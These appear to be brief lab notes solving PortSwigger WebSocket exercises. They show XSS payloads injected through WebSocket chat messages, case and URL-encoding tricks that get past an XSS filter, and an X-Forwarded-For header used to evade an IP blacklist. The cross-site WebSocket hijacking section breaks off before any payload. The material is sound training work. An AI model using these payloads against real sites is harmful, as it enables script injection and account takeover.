Testing for WebSockets security vulnerabilities

https://portswigger.net/web-security/websockets

Lab: Manipulating WebSocket messages to exploit vulnerabilities

This online shop has a live chat feature implemented using WebSockets. Chat messages that you submit are viewed by a support agent in real time.

/chat -> Live chat

→ To server
{"message":"test"}
← To client
{"user":"You","content":"test"}

There is just client side protection with html encoding.

Send the request to the repeater -> Reconnect -> Send this payload:

{"message":"<img src=1 onerror='alert(1)'>"}

Lab: Manipulating the WebSocket handshake to exploit vulnerabilities

This online shop has a live chat feature implemented using WebSockets. It has an aggressive but flawed XSS filter.

/chat -> Live chat

→ To server
{"message":"<img onclick='alert(1)'>test</img>"}
← To client
{"error":"Attack detected: Event handler"}

→ To server
{"message":"<iframe src='javascript:alert(0)'>"}
← To client
{"error":"Attack detected: JavaScript"}

→ To server
{"message":"<iframe src='javascRipt:alert(0)'>"}
← To client
{"error":"Attack detected: Alert"}

→ To server
{"message":"<iframe src='javascRipt:%61lert(0)'>"}
a -> url encoded

To bypass being in blacklist, we can add this header to request header:

X-Forwarded-For: (any value)

Lab: Cross-site WebSocket hijacking

This online shop has a live chat feature implemented using WebSockets.

To solve the lab, use the exploit server to host an HTML/JavaScript payload that uses a cross-site WebSocket hijacking attack to exfiltrate the victim's chat history, then use this gain access to their account.

There is no csrf protection in websocket handshake.

Exploit Server ->

Last updated